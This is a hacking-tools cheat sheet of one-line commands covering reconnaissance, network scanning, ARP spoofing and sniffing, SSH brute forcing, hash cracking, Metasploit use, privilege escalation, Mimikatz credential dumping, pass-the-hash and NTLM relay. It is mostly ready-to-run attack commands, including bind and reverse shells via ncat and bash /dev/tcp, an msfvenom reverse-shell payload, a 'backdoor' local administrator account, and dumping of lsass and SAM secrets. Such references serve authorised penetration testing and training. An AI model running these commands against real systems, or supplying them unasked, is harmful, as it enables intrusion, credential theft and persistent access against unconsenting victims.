

# Hacking Tools Cheat Sheet

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## Basic Linux Networking Tools

Show IP configuration:  
`# ip a l`

Change IP/MAC address:  
`# ip link set dev eth0 down`  
`# macchanger -m 23:05:13:37:42:21 eth0`  
`# ip link set dev eth0 up`

Static IP address configuration:  
`# ip addr add 10.5.23.42/24 dev eth0`

DNS lookup:  
`# dig decryptsec.com`

Reverse DNS lookup:  
`# dig -x 10.5.23.42`

## Information Gathering

Find owner/contact of domain or IP address:  
`# whois decryptsec.com`

Get nameservers and test for DNS zone transfer:  
`# dig example.com ns`  
`# dig example.com axfr @n1.example.com`

Get hostnames from CT logs: Search for  
%.decryptsec.com on <https://crt.sh>.

Or using an nmap script:  
`# nmap -sn -Pn decryptsec.com`  
`--script hostmap-crtsh`

Combine various sources for subdomain enum:  
`# amass enum -src -brute -min-for-recursive 2 -d decryptsec.com`

## TCP Tools

Listen on TCP port:  
`# ncat -l -p 1337`

Connect to TCP port:  
`# ncat 10.5.23.42 1337`

## TLS Tools

Create self-signed certificate:  
`# openssl req -x509 -newkey rsa:2048`  
`-keyout key.pem -out cert.pem -nodes`  
`-subj "/CN=example.org/"`



Start TLS Server:  
`# ncat --ssl -l -p 1337 --ssl-cert cert.pem --ssl-key key.pem`

Connect to TLS service:  
`# ncat --ssl 10.5.23.42 1337`

Connect to TLS service using openssl:  
`# openssl s_client -connect 10.5.23.42:1337`

Show certificate details:  
`# openssl s_client -connect 10.5.23.42:1337 | openssl x509 -text`

Test TLS server certificate and ciphers:  
`# sslyze --regular 10.5.23.42:443`

TCP to TLS proxy:  
`# socat TCP-LISTEN:2305,fork,reuseaddr ssl:example.com:443`

Online TLS tests:  
• [ssllabs.com](https://ssllabs.com), [hardenize.com](https://hardenize.com)

## HTTP Tools

Start Python webserver on port 2305:  
`# python3 -m http.server 2305`

Perform HTTP Request:  
`# curl http://10.5.23.42:2305/?foo=bar`

Useful curl options:  
• -k: Accept untrusted certificates  
• -d "foo=bar": HTTP POST data  
• -H: "Foo: Bar": HTTP header  
• -I: Perform HEAD request  
• -L: Follow redirects  
• -o foobar.html: Write output file  
• --proxy http://127.0.0.1:8080: Set proxy

Scan for common files/applications/configs:  
`# nikto -host https://example.net`

Enumerate common directory-/filenames:  
`# gobuster dir -k -u https://example.net -w /usr/share/wordlists/dirb/common.txt`

## Sniffing

ARP spoofing:  
`# arpspoof -t 10.5.23.42 10.5.23.1`

Or a graphical tool:  
`# ettercap -G`

Show ARP cache:  
`# ip neigh`



Delete ARP cache:  
`# ip neigh flush all`

Sniff traffic:  
`# tcpdump [options] [filters]`

Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file : Write output PCAP file
- -r file : Read PCAP file

Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to hosts in network

Advanced sniffing using tshark or Wireshark.

Sniffing over SSH on a remote host:  
`# ssh 10.5.23.42 tcpdump -w port not ssh | wireshark -k -i -`

Search in network traffic:  
`# ngrep -i password`

Show HTTP GET requests:  
`# urlsnarf`

Show transmitted images:  
`# driftnet`

## Network Scanning

ARP Scan:  
`# nmap -n -sn -PR 10.5.23.0/24`

Reverse DNS lookup of IP range:  
`# nmap -sL 10.5.23.0/24`

Nmap host discovery (ARP, ICMP, SYN 443/tcp, ACK 80/tcp):  
`# nmap -sn -n 10.5.23.0/24`

TCP scan (SYN scan = half-open scan):  
`# nmap -Pn -n -sS -p 22,25,80,443,8080 10.5.23.0/24`

List Nmap scripts:  
`# ls /usr/share/nmap/scripts`

Scan for EternalBlue vulnerable hosts:  
`# nmap -n -Pn -p 443 --script smb-vuln-ms17-010 10.5.23.0/24`

Scan for vulnerabilities (script category filter):  
`# nmap -n -Pn --script "vuln and safe" 10.5.23.0/24`

Performance Tuning (1 SYN packet ≈ 60 bytes → 20'000 packets/s ≈ 10 Mbps):  
`# nmap -n -Pn --min-rate 20000 10.5.23.0/24`

Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery only)
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file : Host input file
- -oA file : Write output files (3 types)
- -sC: Script scan (default scripts)
- --script <file /category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan

The target can be specified using CIDR notation (10.5.23.0/24) or range definitions (10.13-37.5.1-23).

Fast scan using masscan:  
`# masscan -p80,8000-8100 --rate 20000 10.0.0.0/8`

Public internet scan databases:  
• [shodan.io](https://shodan.io), [censys.io](https://censys.io)

## Shells

Start bind shell (on victim):  
`# ncat -l -p 2305 -e "/bin/bash -i"`

Connect to bind shell (on attacker):  
`# ncat 10.5.23.42 2305`

Listen for reverse shell (on attacker):  
`# ncat -l -p 23`

Start reverse shell (on victim):  
`# ncat -e "/bin/bash -i" 10.5.23.5 23`

Start reverse shell with bash only (on victim):  
`# bash -i &>/dev/tcp/10.5.23.5/42 0>&1`

Upgrade to pseudo terminal:  
`# python -c 'import pty; pty.spawn("/bin/bash")'`



## Vulnerability DBs and Exploits

Exploit search (local copy of the Exploit-DB):

```
# searchsploit apache
```

Show exploit file path and copy it into clipboard:

```
# searchsploit -p 40142
```

Online vulnerability and exploit databases:

- cvedetails.com, exploit-db.com, packetstormsecurity.com

## Cracking

Try SSH passwords from a wordlist:

```
# ncrack -p 22 --user root -P  
./passwords.txt 10.5.23.0/24
```

Determine hash type:

```
# hashid 869d[...]bd88
```

Show example hash types for hashcat:

```
# hashcat --example-hashes
```

Crack hashes (e.g. 5600 for NetNTLMv2 type):

```
# hashcat -m 5600 -a 0 hash.txt  
/path/to/wordlists/*
```

Crack hashes using John the Ripper:

```
# john hashes.txt
```

## Metasploit Framework

Start Metasploit:

```
# msfconsole
```

Search exploit:

```
> search eternalblue
```

Use exploit:

```
msf > use exploit/windows/smb/ms17_...
```

Configure exploit:

```
msf exploit(...) > show options  
msf exploit(...) > set TARGET 10.5.23.42
```

Run exploit:

```
msf exploit(...) > exploit
```

Generate reverse shell (WAR):

```
# msfvenom -p  
java/jsp_shell_reverse_tcp LHOST=<your  
ip address> LPORT=443 -f war > sh.war
```

Reverse shell listener:

```
> use exploit/multi/handler  
> set payload  
linux/x64/shell_reverse_tcp  
> set LHOST 10.5.23.42 # attacker  
> set LPORT 443  
> exploit
```

Upgrade to Meterpreter (or press ^Z (Ctrl-Z)):

```
background  
Background session 1? [y/N] y  
> sessions # list sessions  
> sessions -u 1 # Upgrade  
> sessions 2 # interact with session 2  
meterpreter > sysinfo # use it
```

Upload / download files:

```
meterpreter > upload pwn.exe  
meterpreter > download c:\keepass.kdb
```

Execute a file:

```
meterpreter > execute -i -f /your/bin
```

Port forwarding to localhost:

```
meterpreter > portfwd add -l 2323 -p  
3389 -r 10.5.23.23
```

Background Meterpreter session:

```
meterpreter > background
```

Pivoting through existing Meterpreter session:

```
> use post/multi/manage/autoroute  
> set session 2 # meterpreter session  
> run  
> route
```

SOCKS via Meterpreter (requires autoroute):

```
> use auxiliary/server/socks4a  
> set SRVPORT 8080  
> run
```

Configure ProxyChains:

```
# vi /etc/proxychains.conf  
[...]  
socks4 127.0.0.1 1080
```

Connect through SOCKS proxy:

```
# proxychains ncat 172.23.5.42 1337
```

## Linux Privilege Escalation

Enumerate local information (-t for more tests):

```
# curl -o /tmp/linenum  
https://raw.githubusercontent.com/rebo  
otuser/LinEnum/master/LinEnum.sh  
# bash /tmp/linenum -r /tmp/report
```

Other hardening checks can be done using lynis or LinPEAS.

Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.

## Windows Privilege Escalation

Copy PowerUp.ps1 from GitHub "PowerShellMafia/PowerSploit" into PowerShell to

bypass ExecutionPolicy and execute Invoke-AllChecks. Use the abuse functions.

Add a new local admin:

```
C:\> net user backdoor P@ssw0rd23  
C:\> net localgroup Administrators  
backdoor /add
```

Scan for network shares:

```
# smbmap.py --host-file smbhosts.txt -  
u Administrator -p PasswordOrHash
```

## Windows Credentials Gathering

Start Mimikatz and create log file:

```
C:\> mimikatz.exe  
# privilege::debug  
# log C:\tmp\mimikatz.log
```

Read lsass.exe process dump:

```
# sekurlsa::minidump lsass.dmp
```

Dump lsass.exe in taskmgr or procdump.

Show passwords/hashes of logged in users:

```
# sekurlsa::logonpasswords
```

Backup SYSTEM & SAM hive:

```
C:\> reg save HKLM\SYSTEM system.hiv  
C:\> reg save HKLM\SAM sam.hiv
```

Extract hashes using Mimikatz:

```
# lsadump::sam /system:system.hiv  
/sam:sam.hiv
```

## Pass-the-Hash

Shell via pass-the-hash (Impacket Tools):

```
# ./psexec.py -hashes  
:011AD41795657A8ED80AB3FF6F078D03  
domain/username@10.5.23.42
```

Over a subnet and extract SAM file:

```
# crackmapexec -u Administrator -H  
:011AD41795657A8ED80AB3FF6F078D03  
10.5.23.0/24 --sam
```

Browse shares via pass-the-hash:

```
# ./smbclient.py  
domain/username@10.5.23.42 -hashes  
:011AD41795657A8ED80AB3FF6F078D03
```

RDP via pass-the-hash:

```
# xfreerdp /u:user /d:domain /pth:  
011AD41795657A8ED80AB3FF6F078D03  
/v:10.5.23.42
```

Meterpreter via pass-the-hash:

```
msf > set payload  
windows/meterpreter/reverse_tcp  
msf > set LHOST 10.5.23.42 # attacker  
msf > set LPORT 443  
msf > set RHOST 10.5.23.21 # victim  
msf > set SMBPass 01[...]03:01[...]03  
msf > exploit  
meterpreter > shell  
C:\WINDOWS\system32>
```

## NTLM Relay

Vulnerable if message\_signing: disabled:

```
# nmap -n -Pn -p 445 --script smb-  
security-mode 10.5.23.0/24
```

Disable SMB and HTTP in Responder.conf and start Responder:

```
# ./Responder.py -I eth0
```

NTLM Relay to target and extract SAM file:

```
# ./ntlmrelayx.py -smb2support -t  
smb://10.5.23.42
```

NTLM Relay using socks proxy:

```
# ./ntlmrelayx.py -tf targets.txt  
-smb2support -socks
```

Configure ProxyChains:

```
# vi /etc/proxychains.conf  
[...]  
socks4 127.0.0.1 1080
```

Access files via SOCKS proxy:

```
# proxychains smbclient -m smb3  
'\\10.5.23.42\C$' -W pc05 -U  
Administrator%invalidPwd
```

## Active Directory

Use SharpHound to gather information and import into Bloodhound to analyze.

Download PingCastle from pingcastle.com and generate Report.

## More Online References

- GitHub "swisskyrepo/PayloadsAllTheThings"
- GitHub "danielmiessler/SecLists"
- GitHub "enaqx/awesome-pentest"